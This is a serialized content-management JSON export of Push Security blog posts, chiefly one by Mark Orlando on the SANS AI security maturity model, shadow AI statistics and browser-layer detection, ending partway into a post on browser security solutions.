",{"data":2687,"content":2688,"nodeType":1005},{},[],{"data":2690,"content":2691,"nodeType":860},{},[2692],{"data":2693,"marks":2694,"value":1682,"nodeType":864},{},[],{"data":2696,"content":2697,"nodeType":860},{},[2698],{"data":2699,"marks":2700,"value":1689,"nodeType":864},{},[],{"data":2702,"content":2703,"nodeType":860},{},[2704,2708,2716],{"data":2705,"marks":2706,"value":2707,"nodeType":864},{},[],"Book a ",{"data":2709,"content":2710,"nodeType":883},{"uri":1700},[2711],{"data":2712,"marks":2713,"value":2715,"nodeType":864},{},[2714],{"type":1455},"live demo",{"data":2717,"marks":2718,"value":2719,"nodeType":864},{},[]," to learn more.","Shadow AI: what Push data reveals about the scale of the problem","Push telemetry shows the average organization has 16 AI apps, 17 AI browser extensions, and 17 AI OAuth integrations in use. Here's what it means for security.","2026-05-28T00:00:00.000Z","what-push-data-reveals-about-the-state-of-shadow-ai",{"items":2725},[2726,2730],{"sys":2727,"name":2729},{"id":2728},"1gZi8NrRy2v9OqPV7C4dwD","Risk management",{"sys":2731,"name":297},{"id":2732},"3pjES4THCIfSAwhGdNwBcy",{"items":2734},[2735],{"fullName":2736,"firstName":2737,"jobTitle":2738,"profilePicture":2739},"Dan Green","Dan","Threat Research",{"url":2740},"https://images.ctfassets.net/y1cdw1ablpvd/7jik1VhFgA3kgzXBXTm2Vw/fcd8c171da644903d0827eafcfbcaad0/Dan_Headshot_2025.png",{"__typename":2059,"sys":2742,"content":2744,"title":3608,"synopsis":3609,"hashTags":59,"publishedDate":3610,"slug":3611,"tagsCollection":3612,"authorsCollection":3618},{"id":2743},"6Xn377JQfbDz49Np74cbGl",{"json":2745},{"data":2746,"content":2747,"nodeType":856},{},[2748,2755,2786,2804,2809,2816,2832,2835,2843,2861,2925,2932,2938,2945,3028,3035,3042,3058,3061,3069,3076,3083,3091,3098,3110,3116,3123,3130,3137,3140,3148,3164,3180,3187,3194,3201,3222,3308,3315,3322,3325,3333,3349,3356,3363,3371,3374,3382,3400,3407,3414,3447,3454,3461,3464,3472,3479,3491,3497,3509,3521,3527,3539,3561,3568,3571,3579,3586,3592],{"data":2749,"content":2750,"nodeType":860},{},[2751],{"data":2752,"marks":2753,"value":2754,"nodeType":864},{},[],"Most security leaders I talk to know they have an AI problem. They've seen the board questions, read the reports, maybe even drafted a policy. But when they start measuring where they stand — not plans or roadmaps, but actual current state — the gap between awareness and operational capability comes into focus.",{"data":2756,"content":2757,"nodeType":860},{},[2758,2762,2770,2774,2782],{"data":2759,"marks":2760,"value":2761,"nodeType":864},{},[],"The ",{"data":2763,"content":2765,"nodeType":883},{"uri":2764},"https://pushsecurity.com/blog/verizon-dbir-2026-review",[2766],{"data":2767,"marks":2768,"value":2769,"nodeType":864},{},[],"2026 Verizon DBIR",{"data":2771,"marks":2772,"value":2773,"nodeType":864},{},[]," quantifies the scale: 45% of employees are now regular AI users on corporate devices (up from 15% the prior year), with 67% using personal accounts. ",{"data":2775,"content":2777,"nodeType":883},{"uri":2776},"https://pushsecurity.com/blog/what-push-data-reveals-about-the-state-of-shadow-ai",[2778],{"data":2779,"marks":2780,"value":2781,"nodeType":864},{},[],"Push data",{"data":2783,"marks":2784,"value":2785,"nodeType":864},{},[]," further shows that 38% of file uploads to AI tools come from those shadow accounts rather than approved organizational ones — and the DBIR shows what's going into them: of 858,000+ DLP events targeting GenAI applications, the most common data types were source code (28%), structured data (14%), and documents and PDFs (23% combined).",{"data":2787,"content":2788,"nodeType":860},{},[2789,2793,2800],{"data":2790,"marks":2791,"value":2792,"nodeType":864},{},[],"The average organization now has ",{"data":2794,"content":2795,"nodeType":883},{"uri":2776},[2796],{"data":2797,"marks":2798,"value":2799,"nodeType":864},{},[],"16 unique AI apps, 17 AI browser extensions, and 17 AI OAuth integrations",{"data":2801,"marks":2802,"value":2803,"nodeType":864},{},[]," in active use, most unapproved. Shadow AI was the third most common non-malicious insider action in the DBIR, up 4x year over year.",{"data":2805,"content":2808,"nodeType":996},{"target":2806},{"sys":2807},{"id":1040,"type":1001,"linkType":1002},[],{"data":2810,"content":2811,"nodeType":860},{},[2812],{"data":2813,"marks":2814,"value":2815,"nodeType":864},{},[],"These statistics expose an attack surface and unmanaged risks at a high level. But the real problem is that most organizations can't produce a basic inventory of which AI tools are in use, let alone demonstrate controls around any of them. ",{"data":2817,"content":2818,"nodeType":860},{},[2819,2823,2828],{"data":2820,"marks":2821,"value":2822,"nodeType":864},{},[],"That gap between awareness and capability is where most organizations are stuck. And understanding ",{"data":2824,"marks":2825,"value":2827,"nodeType":864},{},[2826],{"type":2246},"why",{"data":2829,"marks":2830,"value":2831,"nodeType":864},{},[]," they're stuck requires a framework for what progress actually looks like.",{"data":2833,"content":2834,"nodeType":1005},{},[],{"data":2836,"content":2837,"nodeType":1009},{},[2838],{"data":2839,"marks":2840,"value":2842,"nodeType":864},{},[2841],{"type":899},"A model for measuring what most organizations already feel",{"data":2844,"content":2845,"nodeType":860},{},[2846,2850,2857],{"data":2847,"marks":2848,"value":2849,"nodeType":864},{},[],"Chris Cochran's ",{"data":2851,"content":2853,"nodeType":883},{"uri":2852},"https://sansorg.egnyte.com/dl/XtgqfjkjBjp8",[2854],{"data":2855,"marks":2856,"value":1108,"nodeType":864},{},[],{"data":2858,"marks":2859,"value":2860,"nodeType":864},{},[],", published earlier this year, provides a framework for addressing this gap. It defines five stages of AI security maturity across three pillars:",{"data":2862,"content":2863,"nodeType":941},{},[2864,2880,2896],{"data":2865,"content":2866,"nodeType":945},{},[2867],{"data":2868,"content":2869,"nodeType":860},{},[2870,2876],{"data":2871,"marks":2872,"value":2875,"nodeType":864},{},[2873,2874],{"type":899},{"type":1455},"Protect AI:",{"data":2877,"marks":2878,"value":2879,"nodeType":864},{},[]," Defending against AI-enabled threats like adversarial attacks, prompt injection, compromised browser extensions, and AI agents operating with unchecked permissions.",{"data":2881,"content":2882,"nodeType":945},{},[2883],{"data":2884,"content":2885,"nodeType":860},{},[2886,2892],{"data":2887,"marks":2888,"value":2891,"nodeType":864},{},[2889,2890],{"type":899},{"type":1455},"Utilize AI:",{"data":2893,"marks":2894,"value":2895,"nodeType":864},{},[]," Using AI to strengthen security operations by using AI-powered detection and triage, behavioral analytics, and automated response playbooks.",{"data":2897,"content":2898,"nodeType":945},{},[2899],{"data":2900,"content":2901,"nodeType":860},{},[2902,2908,2912,2921],{"data":2903,"marks":2904,"value":2907,"nodeType":864},{},[2905,2906],{"type":899},{"type":1455},"Govern AI:",{"data":2909,"marks":2910,"value":2911,"nodeType":864},{},[]," Managing how the organization adopts and uses AI tools. Things like acceptable use policies, shadow AI discovery, data classification, access controls, and risk assessment. This is the pillar that gets the most attention in boardroom conversations today, driven in part by ",{"data":2913,"content":2915,"nodeType":883},{"uri":2914},"https://pushsecurity.com/blog/browser-visibility-and-control-can-achieve-ai-compliance",[2916],{"data":2917,"marks":2918,"value":2920,"nodeType":864},{},[2919],{"type":1455},"regulatory pressure",{"data":2922,"marks":2923,"value":2924,"nodeType":864},{},[],".",{"data":2926,"content":2927,"nodeType":860},{},[2928],{"data":2929,"marks":2930,"value":2931,"nodeType":864},{},[],"How an organization invests across these three pillars, and whether it invests across all of them, determines whether it advances toward maturity in this area or stalls out at the early steps.",{"data":2933,"content":2937,"nodeType":996},{"target":2934},{"sys":2935},{"id":2936,"type":1001,"linkType":1002},"1JV3KG97JQNFKwODnMCMq2",[],{"data":2939,"content":2940,"nodeType":860},{},[2941],{"data":2942,"marks":2943,"value":2944,"nodeType":864},{},[],"The SANS AI maturity model outlines 5 stages that organizations must progress through in order to reach an optimal security posture:",{"data":2946,"content":2947,"nodeType":941},{},[2948,2964,2980,2996,3012],{"data":2949,"content":2950,"nodeType":945},{},[2951],{"data":2952,"content":2953,"nodeType":860},{},[2954,2960],{"data":2955,"marks":2956,"value":2959,"nodeType":864},{},[2957,2958],{"type":899},{"type":1455},"Stage 1 (Unaware / Ad Hoc)",{"data":2961,"marks":2962,"value":2963,"nodeType":864},{},[]," is where employees are freely using AI tools with no oversight, no inventory exists, and leadership may not even know how much AI is in use. There's no policy to violate, so technically it's not even shadow AI yet; it's just unmanaged adoption.",{"data":2965,"content":2966,"nodeType":945},{},[2967],{"data":2968,"content":2969,"nodeType":860},{},[2970,2976],{"data":2971,"marks":2972,"value":2975,"nodeType":864},{},[2973,2974],{"type":899},{"type":1455},"Stage 2 (Reactive / Policy-Emerging)",{"data":2977,"marks":2978,"value":2979,"nodeType":864},{},[]," means a policy exists, but it's course-grained: \"Don't use AI\" or \"use with caution.\" Known AI tools may be blocked at the network level. Security teams are learning about AI-specific threats but don't have dedicated expertise or tooling.",{"data":2981,"content":2982,"nodeType":945},{},[2983],{"data":2984,"content":2985,"nodeType":860},{},[2986,2992],{"data":2987,"marks":2988,"value":2991,"nodeType":864},{},[2989,2990],{"type":899},{"type":1455},"Stage 3 (Defined / Risk-Informed)",{"data":2993,"marks":2994,"value":2995,"nodeType":864},{},[]," is where things get intentional. AI usage is governed through enterprise tools rather than outright bans. AI systems are included in security assessments. The organization can demonstrate mature governance to regulators and partners. For many organizations, this is a strong and defensible operating position.",{"data":2997,"content":2998,"nodeType":945},{},[2999],{"data":3000,"content":3001,"nodeType":860},{},[3002,3008],{"data":3003,"marks":3004,"value":3007,"nodeType":864},{},[3005,3006],{"type":899},{"type":1455},"Stage 4 (Managed / Integrated)",{"data":3009,"marks":3010,"value":3011,"nodeType":864},{},[]," means AI is deeply embedded in security operations with measurable outcomes. AI systems are secured by design. Risk is quantified, not estimated. Decisions are data-driven. This is where organizations can handle AI-specific threats and operate at the tempo that AI-augmented adversaries demand.",{"data":3013,"content":3014,"nodeType":945},{},[3015],{"data":3016,"content":3017,"nodeType":860},{},[3018,3024],{"data":3019,"marks":3020,"value":3023,"nodeType":864},{},[3021,3022],{"type":899},{"type":1455},"Stage 5 (Optimizing / Adaptive)",{"data":3025,"marks":3026,"value":3027,"nodeType":864},{},[]," is the frontier of AI-native security with self-improving defenses. Elements of this stage exist primarily in large technology companies, defense contractors, and AI-native firms. For most organizations, this is a multi-year journey.",{"data":3029,"content":3030,"nodeType":860},{},[3031],{"data":3032,"marks":3033,"value":3034,"nodeType":864},{},[],"Most of the security leaders I talk to land between Stage 1 and Stage 2. They have awareness, maybe a policy, but not the tooling or telemetry to demonstrate much beyond that. ",{"data":3036,"content":3037,"nodeType":860},{},[3038],{"data":3039,"marks":3040,"value":3041,"nodeType":864},{},[],"The model is pragmatic about these challenges. It doesn't expect every organization to reach Stage 5, and it adjusts maturity targets by sector. ",{"data":3043,"content":3044,"nodeType":860},{},[3045,3049,3054],{"data":3046,"marks":3047,"value":3048,"nodeType":864},{},[],"But it ",{"data":3050,"marks":3051,"value":3053,"nodeType":864},{},[3052],{"type":2246},"does",{"data":3055,"marks":3056,"value":3057,"nodeType":864},{},[]," require evidence of progress, not just intent. And for the majority sitting at Stage 2, the hard part is identifying the right steps to move from being merely reactive to a posture of operational readiness. That’s the chasm to cross.",{"data":3059,"content":3060,"nodeType":1005},{},[],{"data":3062,"content":3063,"nodeType":1009},{},[3064],{"data":3065,"marks":3066,"value":3068,"nodeType":864},{},[3067],{"type":899},"The chasm",{"data":3070,"content":3071,"nodeType":860},{},[3072],{"data":3073,"marks":3074,"value":3075,"nodeType":864},{},[],"For the organizations sitting at Stage 2, current state often looks like this: They've written an AI acceptable use policy, and maybe they've blocked known AI apps at the network level. They've trained employees on what's allowed and what isn't. ",{"data":3077,"content":3078,"nodeType":860},{},[3079],{"data":3080,"marks":3081,"value":3082,"nodeType":864},{},[],"To be sure, blocking is the fastest lever a security team can pull, and it represents visible progress to the business. The problem is that it rarely stays effective. ",{"data":3084,"content":3085,"nodeType":860},{},[3086],{"data":3087,"marks":3088,"value":3090,"nodeType":864},{},[3089],{"type":899},"SANS calls the pattern that traps most organizations at Stage 2 the \"Framework of No.\" ",{"data":3092,"content":3093,"nodeType":860},{},[3094],{"data":3095,"marks":3096,"value":3097,"nodeType":864},{},[],"\"A block-based AI policy may feel like risk management, but practitioner experience shows it typically drives AI usage underground rather than preventing it,” the report notes. “This is the pattern SANS has documented as the 'Framework of No,' and it is why the Stage 2 to Stage 3 transition is so critical.\"",{"data":3099,"content":3100,"nodeType":860},{},[3101,3106],{"data":3102,"marks":3103,"value":3105,"nodeType":864},{},[3104],{"type":2246},"This",{"data":3107,"marks":3108,"value":3109,"nodeType":864},{},[]," is the chasm. On one side: awareness and policy. On the other: operational capability - the tooling, telemetry, and controls that let a security team see what's happening and respond to it. Most organizations are standing on the awareness side, looking across, not sure how to get over.",{"data":3111,"content":3115,"nodeType":996},{"target":3112},{"sys":3113},{"id":3114,"type":1001,"linkType":1002},"187mKPZV8tVbsw17L2cWIU",[],{"data":3117,"content":3118,"nodeType":860},{},[3119],{"data":3120,"marks":3121,"value":3122,"nodeType":864},{},[],"The model is specific about what crossing requires. The steps from Stage 2 to Stage 3 include technical BYOAI discovery (not a survey, but automated discovery), AI-specific data classification, AI-aware controls, and a cross-functional governance body. Data classification is a critical prerequisite: \"You cannot write an effective AI policy without knowing where sensitive data lives,\" the report emphasizes.",{"data":3124,"content":3125,"nodeType":860},{},[3126],{"data":3127,"marks":3128,"value":3129,"nodeType":864},{},[],"These are visibility and measurement problems before they're policy problems. You can't govern what you can't see. You can't classify risk you can't measure. And a blocklist that pushes usage underground doesn't give you either: it just makes the gap between your policy and your reality harder to detect.",{"data":3131,"content":3132,"nodeType":860},{},[3133],{"data":3134,"marks":3135,"value":3136,"nodeType":864},{},[],"Getting this visibility right is necessary for crossing the chasm. But it’s not the only step organizations must undertake if they want to address their AI risk.",{"data":3138,"content":3139,"nodeType":1005},{},[],{"data":3141,"content":3142,"nodeType":1009},{},[3143],{"data":3144,"marks":3145,"value":3147,"nodeType":864},{},[3146],{"type":899},"Governance is key, but don't forget about protection",{"data":3149,"content":3150,"nodeType":860},{},[3151,3155,3160],{"data":3152,"marks":3153,"value":3154,"nodeType":864},{},[],"Most AI security conversations today - the vendor pitches, board decks, and compliance checklists - are about the ",{"data":3156,"marks":3157,"value":3159,"nodeType":864},{},[3158],{"type":899},"Govern",{"data":3161,"marks":3162,"value":3163,"nodeType":864},{},[]," pillar. Shadow AI discovery. Usage policies. Data classification. Controls around what employees paste into AI prompts or upload to AI tools. It's important work.",{"data":3165,"content":3166,"nodeType":860},{},[3167,3171,3176],{"data":3168,"marks":3169,"value":3170,"nodeType":864},{},[],"But the SANS model gives roughly equal weight to a second pillar that gets almost no attention: ",{"data":3172,"marks":3173,"value":3175,"nodeType":864},{},[3174],{"type":899},"Protect",{"data":3177,"marks":3178,"value":3179,"nodeType":864},{},[]," - defending against AI-enabled attacks.",{"data":3181,"content":3182,"nodeType":860},{},[3183],{"data":3184,"marks":3185,"value":3186,"nodeType":864},{},[],"The Protect pillar starts from a stark baseline. At Stage 1, most organizations have no visibility into which AI agents or browser extensions have access to their corporate environment, let alone a framework for understanding how those could be attacked. ",{"data":3188,"content":3189,"nodeType":860},{},[3190],{"data":3191,"marks":3192,"value":3193,"nodeType":864},{},[],"By Stage 3, the model expects runtime validation of AI tools and plugins, detection capabilities mapped to AI-specific attack frameworks, and controls that cover the growing surface area of agentic AI. ",{"data":3195,"content":3196,"nodeType":860},{},[3197],{"data":3198,"marks":3199,"value":3200,"nodeType":864},{},[],"By Stage 4, organizations need real-time monitoring of AI agent behavior and defenses against attacks that exploit trust relationships between AI systems — capabilities most security teams haven't started scoping, much less building or procuring.",{"data":3202,"content":3203,"nodeType":860},{},[3204,3208,3218],{"data":3205,"marks":3206,"value":3207,"nodeType":864},{},[],"These are detection and response capabilities, not governance exercises — and the attacks they address are already well underway. ",{"data":3209,"content":3211,"nodeType":883},{"uri":3210},"https://pushsecurity.com/blog/the-cisos-data-problem-and-how-browser-telemetry-can-help/",[3212],{"data":3213,"marks":3214,"value":3217,"nodeType":864},{},[3215,3216],{"type":1455},{"type":899},"One in three phishing payloads",{"data":3219,"marks":3220,"value":3221,"nodeType":864},{},[]," intercepted by Push arrive outside of email, through channels where most security controls don't exist. Evidence of the growth of browser-based attack methods enabled by AI tooling abounds:",{"data":3223,"content":3224,"nodeType":941},{},[3225,3247,3269],{"data":3226,"content":3227,"nodeType":945},{},[3228],{"data":3229,"content":3230,"nodeType":860},{},[3231,3235,3243],{"data":3232,"marks":3233,"value":3234,"nodeType":864},{},[],"CrowdStrike's 2026 Global Threat Report documented a ",{"data":3236,"content":3238,"nodeType":883},{"uri":3237},"https://www.crowdstrike.com/explore/2026-global-threat-report",[3239],{"data":3240,"marks":3241,"value":3242,"nodeType":864},{},[],"563% increase in ClickFix lures",{"data":3244,"marks":3245,"value":3246,"nodeType":864},{},[]," — fake CAPTCHA pages that trick users into executing malicious commands on their own machines.",{"data":3248,"content":3249,"nodeType":945},{},[3250],{"data":3251,"content":3252,"nodeType":860},{},[3253,3257,3265],{"data":3254,"marks":3255,"value":3256,"nodeType":864},{},[],"Push has tracked a ",{"data":3258,"content":3260,"nodeType":883},{"uri":3259},"https://pushsecurity.com/blog/device-code-phishing/",[3261],{"data":3262,"marks":3263,"value":3264,"nodeType":864},{},[],"37x increase in device code phishing",{"data":3266,"marks":3267,"value":3268,"nodeType":864},{},[]," since the start of 2026, with 18+ distinct kits now offering the technique.",{"data":3270,"content":3271,"nodeType":945},{},[3272],{"data":3273,"content":3274,"nodeType":860},{},[3275,3278,3287,3291,3296,3300,3305],{"data":3276,"marks":3277,"value":21,"nodeType":864},{},[],{"data":3279,"content":3281,"nodeType":883},{"uri":3280},"https://www.anthropic.com/news/AI-enabled-cyber-threats-mitre-attack",[3282],{"data":3283,"marks":3284,"value":3286,"nodeType":864},{},[3285],{"type":1455},"Anthropic",{"data":3288,"marks":3289,"value":3290,"nodeType":864},{},[]," identified ",{"data":3292,"marks":3293,"value":3295,"nodeType":864},{},[3294],{"type":899},"793 threat actors using AI",{"data":3297,"marks":3298,"value":3299,"nodeType":864},{},[]," for malicious cybersecurity purposes between March 2025 and February 2026, with the 2026 Verizon DBIR finding that ",{"data":3301,"marks":3302,"value":3304,"nodeType":864},{},[3303],{"type":899},"44% of AI-assisted initial access was phishing-related",{"data":3306,"marks":3307,"value":2924,"nodeType":864},{},[],{"data":3309,"content":3310,"nodeType":860},{},[3311],{"data":3312,"marks":3313,"value":3314,"nodeType":864},{},[],"Attackers are already vibecoding phishing kits, rotating infrastructure daily, and exploiting identity flows that traditional endpoint and network tools can't see.",{"data":3316,"content":3317,"nodeType":860},{},[3318],{"data":3319,"marks":3320,"value":3321,"nodeType":864},{},[],"The SANS model makes the speed argument a central focus at Stage 4: Detection built for human-pace adversaries is increasingly insufficient when threats operate at machine speed. For organizations investing exclusively in AI governance, AI-enabled threats represent an entire category of risk that is not being addressed.",{"data":3323,"content":3324,"nodeType":1005},{},[],{"data":3326,"content":3327,"nodeType":1312},{},[3328],{"data":3329,"marks":3330,"value":3332,"nodeType":864},{},[3331],{"type":899},"Why governance alone can't close the gap",{"data":3334,"content":3335,"nodeType":860},{},[3336,3340,3345],{"data":3337,"marks":3338,"value":3339,"nodeType":864},{},[],"An organization can have an AI policy, shadow AI discovery, data classification, and usage controls, and ",{"data":3341,"marks":3342,"value":3344,"nodeType":864},{},[3343],{"type":2246},"still",{"data":3346,"marks":3347,"value":3348,"nodeType":864},{},[]," be exposed. When an employee hits a device code phishing page or a ClickFix lure, the governance program documented the risk perfectly. It just couldn't stop the attack. The policy existed but the detection (and ideally, mitigation) didn't.",{"data":3350,"content":3351,"nodeType":860},{},[3352],{"data":3353,"marks":3354,"value":3355,"nodeType":864},{},[],"The reverse is equally true, and it's why the SANS model treats the pillars as interdependent rather than sequential. Detection capabilities that fire into a void with no policy to act on findings, no classification to assess exposure, and no governance body to shape proactive policy just create alerts, not security. ",{"data":3357,"content":3358,"nodeType":860},{},[3359],{"data":3360,"marks":3361,"value":3362,"nodeType":864},{},[],"Yet most organizations are only investing heavily in one side of the solution, which is almost always Govern. The maturity model is explicit about the risks of this approach: Governance with no attack detection leaves a critical gap. ",{"data":3364,"content":3365,"nodeType":860},{},[3366],{"data":3367,"marks":3368,"value":3370,"nodeType":864},{},[3369],{"type":899},"Closing the gap requires a control point where both problems are visible and addressable.",{"data":3372,"content":3373,"nodeType":1005},{},[],{"data":3375,"content":3376,"nodeType":1009},{},[3377],{"data":3378,"marks":3379,"value":3381,"nodeType":864},{},[3380],{"type":899},"Crossing the chasm requires addressing both pillars at once",{"data":3383,"content":3384,"nodeType":860},{},[3385,3389,3396],{"data":3386,"marks":3387,"value":3388,"nodeType":864},{},[],"The bottleneck for most security programs ",{"data":3390,"content":3391,"nodeType":883},{"uri":3210},[3392],{"data":3393,"marks":3394,"value":3395,"nodeType":864},{},[],"isn't frameworks or strategy — it's data quality",{"data":3397,"marks":3398,"value":3399,"nodeType":864},{},[],". For teams taking on the dual problems of shadow AI and AI-enabled attacks, browser telemetry is the foundation to any meaningful solution. That’s because both problems converge in the same place.",{"data":3401,"content":3402,"nodeType":860},{},[3403],{"data":3404,"marks":3405,"value":3406,"nodeType":864},{},[],"AI-enabled phishing attacks, credential theft, malicious browser extensions, and OAuth exploitation happen in the browser. So do shadow AI adoption, sensitive data pasted into AI prompts, file uploads to unapproved tools, and unauthorized integrations. The browser is where external attacks and internal misuse are both visible and stoppable.",{"data":3408,"content":3409,"nodeType":860},{},[3410],{"data":3411,"marks":3412,"value":3413,"nodeType":864},{},[],"For the security team trying to advance past the Framework of No, browser telemetry replaces the blunt instrument of network-level blocking with actual visibility:",{"data":3415,"content":3416,"nodeType":941},{},[3417,3427,3437],{"data":3418,"content":3419,"nodeType":945},{},[3420],{"data":3421,"content":3422,"nodeType":860},{},[3423],{"data":3424,"marks":3425,"value":3426,"nodeType":864},{},[],"which AI apps are in use (including personal account usage)",{"data":3428,"content":3429,"nodeType":945},{},[3430],{"data":3431,"content":3432,"nodeType":860},{},[3433],{"data":3434,"marks":3435,"value":3436,"nodeType":864},{},[],"what data is moving into them (file uploads, clipboard activity)",{"data":3438,"content":3439,"nodeType":945},{},[3440],{"data":3441,"content":3442,"nodeType":860},{},[3443],{"data":3444,"marks":3445,"value":3446,"nodeType":864},{},[],"graduated controls - per-app, per-user group, per-content pattern - that can monitor, warn, or block based on context rather than allow/deny",{"data":3448,"content":3449,"nodeType":860},{},[3450],{"data":3451,"marks":3452,"value":3453,"nodeType":864},{},[],"The same browser-layer instrumentation can also provide real-time detection of credential phishing, ClickFix, adversary-in-the-middle attacks, and device code phishing. And it can detect and disable malicious browser extensions based on confirmed threat intelligence, monitor OAuth integrations, and generate the identity attack surface data (login behaviors, MFA gaps, SSO coverage) that the Protect pillar requires at Stage 3 maturity and beyond.",{"data":3455,"content":3456,"nodeType":860},{},[3457],{"data":3458,"marks":3459,"value":3460,"nodeType":864},{},[],"We built Push around this insight: that the browser is where both problems converge, and a single deployment can advance AI security maturity in both areas simultaneously. The SANS model makes the same argument.",{"data":3462,"content":3463,"nodeType":1005},{},[],{"data":3465,"content":3466,"nodeType":1009},{},[3467],{"data":3468,"marks":3469,"value":3471,"nodeType":864},{},[3470],{"type":899},"Where to start: 5 steps to maturity with Push",{"data":3473,"content":3474,"nodeType":860},{},[3475],{"data":3476,"marks":3477,"value":3478,"nodeType":864},{},[],"The chasm closes when organizations make meaningful strides forward in both AI governance and proactive defense against AI-enabled attacks. Here's the starting plan that I'd recommend, and Push can provide the tooling to automate these steps:",{"data":3480,"content":3481,"nodeType":860},{},[3482,3487],{"data":3483,"marks":3484,"value":3486,"nodeType":864},{},[3485],{"type":899},"1. Build an AI inventory automatically.",{"data":3488,"marks":3489,"value":3490,"nodeType":864},{},[]," Every stage transition in the SANS model starts with knowing what's in your environment. A manual survey won't cut it; employees won't self-report the tools they're not sure they're allowed to use, and may overlook apps where AI is a feature but not the core function (AI-enabled apps). Instead, organizations should deploy automated discovery for AI apps, browser extensions, and OAuth integrations across the workforce - including the ones using personal accounts. Until this inventory exists, every policy decision is based on incomplete information.",{"data":3492,"content":3496,"nodeType":996},{"target":3493},{"sys":3494},{"id":3495,"type":1001,"linkType":1002},"2t3u0NydllImv6NzvAY058",[],{"data":3498,"content":3499,"nodeType":860},{},[3500,3505],{"data":3501,"marks":3502,"value":3504,"nodeType":864},{},[3503],{"type":899},"2. Classify what you find.",{"data":3506,"marks":3507,"value":3508,"nodeType":864},{},[]," Not all AI usage carries the same risk. A developer pasting code into ChatGPT and a salesperson using an AI notetaker are different problems. Once you can see the tools, categorize them by data sensitivity, authorization status, and access scope. The SANS model calls out data classification as a critical prerequisite; you can't write an effective AI policy without knowing where sensitive data lives.",{"data":3510,"content":3511,"nodeType":860},{},[3512,3517],{"data":3513,"marks":3514,"value":3516,"nodeType":864},{},[3515],{"type":899},"3. Turn on browser-layer detection.",{"data":3518,"marks":3519,"value":3520,"nodeType":864},{},[]," This is the step most organizations skip, and it's why addressing only the Protect pillar will keep you at Stage 1. AI-enabled phishing, ClickFix attacks, device code phishing, malicious extension updates, and OAuth exploitation all execute in the browser. Without detection in that layer, there's no visibility into the fastest-growing attack category, and no path to advancing beyond basic AI usage awareness.",{"data":3522,"content":3526,"nodeType":996},{"target":3523},{"sys":3524},{"id":3525,"type":1001,"linkType":1002},"1fzuGjA6VSbVl1p7vM1mt7",[],{"data":3528,"content":3529,"nodeType":860},{},[3530,3535],{"data":3531,"marks":3532,"value":3534,"nodeType":864},{},[3533],{"type":899},"4. Move from blocking to graduated controls.",{"data":3536,"marks":3537,"value":3538,"nodeType":864},{},[]," The Framework of No fails because it's binary: allow or deny, with nothing in between. Organizations that cross the chasm adopt monitor, warn, and block modes — per app, per user group, per content pattern. Monitor first to see what's happening, warn to change behavior without disrupting workflows, and block only where the risk justifies it. This is the operational difference between Stage 2 and Stage 3.",{"data":3540,"content":3541,"nodeType":860},{},[3542,3547,3551,3557],{"data":3543,"marks":3544,"value":3546,"nodeType":864},{},[3545],{"type":899},"5. Assess yourself honestly against evidence, not aspiration.",{"data":3548,"marks":3549,"value":3550,"nodeType":864},{},[]," The ",{"data":3552,"content":3553,"nodeType":883},{"uri":2852},[3554],{"data":3555,"marks":3556,"value":1108,"nodeType":864},{},[],{"data":3558,"marks":3559,"value":3560,"nodeType":864},{},[]," includes a self-assessment and industry-specific weighting profiles. The value isn't in the score, but in identifying which pillar is keeping you from advancing.",{"data":3562,"content":3563,"nodeType":860},{},[3564],{"data":3565,"marks":3566,"value":3567,"nodeType":864},{},[],"The organizations that cross the AI security chasm will be the ones that recognize early that AI security isn't one problem with one solution. It's two problems that happen to share a control point. The most efficient path forward is a platform that addresses both.",{"data":3569,"content":3570,"nodeType":1005},{},[],{"data":3572,"content":3573,"nodeType":1009},{},[3574],{"data":3575,"marks":3576,"value":3578,"nodeType":864},{},[3577],{"type":899},"Learn more about Push",{"data":3580,"content":3581,"nodeType":860},{},[3582],{"data":3583,"marks":3584,"value":3585,"nodeType":864},{},[],"Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser - high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required.",{"data":3587,"content":3588,"nodeType":860},{},[3589],{"data":3590,"marks":3591,"value":1689,"nodeType":864},{},[],{"data":3593,"content":3594,"nodeType":860},{},[3595,3598,3605],{"data":3596,"marks":3597,"value":2707,"nodeType":864},{},[],{"data":3599,"content":3600,"nodeType":883},{"uri":1700},[3601],{"data":3602,"marks":3603,"value":2715,"nodeType":864},{},[3604],{"type":1455},{"data":3606,"marks":3607,"value":2719,"nodeType":864},{},[],"Crossing the AI security chasm with the SANS AI security maturity model","Most organizations know they have an AI security problem. A new SANS framework shows why so few are making progress - and what it actually takes to get unstuck.","2026-06-24T00:00:00.000Z","crossing-the-ai-security-chasm-sans-security-maturity-model",{"items":3613},[3614,3616],{"sys":3615,"name":297},{"id":2732},{"sys":3617,"name":2729},{"id":2728},{"items":3619},[3620],{"fullName":3621,"firstName":3622,"jobTitle":3623,"profilePicture":3624},"Mark Orlando","Mark","Field CTO",{"url":3625},"https://images.ctfassets.net/y1cdw1ablpvd/592PMwIQQFaa24k5SKBEKF/a33090d0ad95d1e3081f5d16a46ba826/image__68_.png",{"__typename":2059,"sys":3627,"content":3629,"title":4865,"synopsis":4866,"hashTags":59,"publishedDate":4867,"slug":4868,"tagsCollection":4869,"authorsCollection":4875},{"id":3628},"6MoHWfQlVildcFYKSbfMcE",{"json":3630},{"data":3631,"content":3632,"nodeType":856},{},[3633,3649,3655,3662,3669,3675,3678,3686,3694,3713,3761,3767,3782,3785,3793,3800,3828,3869,3876,3879,3887,3895,3902,3908,3915,3918,3926,3933,3975,4011,4018,4021,4029,4036,4061,4068,4113,4120,4123,4131,4139,4184,4191,4197,4200,4208,4216,4248,4255,4261,4268,4271,4279,4287,4316,4323,4330,4337,4340,4348,4356,4363,4369,4376,4399,4428,4431,4439,4447,4454,4461,4464,4472,4534,4537,4545,4552,4846,4849],{"data":3634,"content":3635,"nodeType":860},{},[3636,3640,3645],{"data":3637,"marks":3638,"value":3639,"nodeType":864},{},[],"Browser security solutions are one of the most significant additions to the enterprise security stack in recent years — and the data shows it. The browser is where ",{"data":3641,"marks":3642,"value":3644,"nodeType":864},{},[3643],{"type":899},"85% of work now happens",{"data":3646,"marks":3647,"value":3648,"nodeType":864},{},[],", where AI tools are accessed, and where attackers increasingly choose to strike.",{"data":3650,"content":3654,"nodeType":996},{"target":3651},{"sys":3652},{"id":3653,"type":1001,"linkType":1002},"5P6PyFbn4EakRNlIWtNzyL",[],{"data":3656,"content":3657,"nodeType":860},{},[3658],{"data":3659,"marks":3660,"value":3661,"nodeType":864},{},[],"But browser security is a nascent category. Getting a clear picture of which solution is right for your team, and how to get the most out of it, isn't straightforward. Current solutions on the market serve a wide 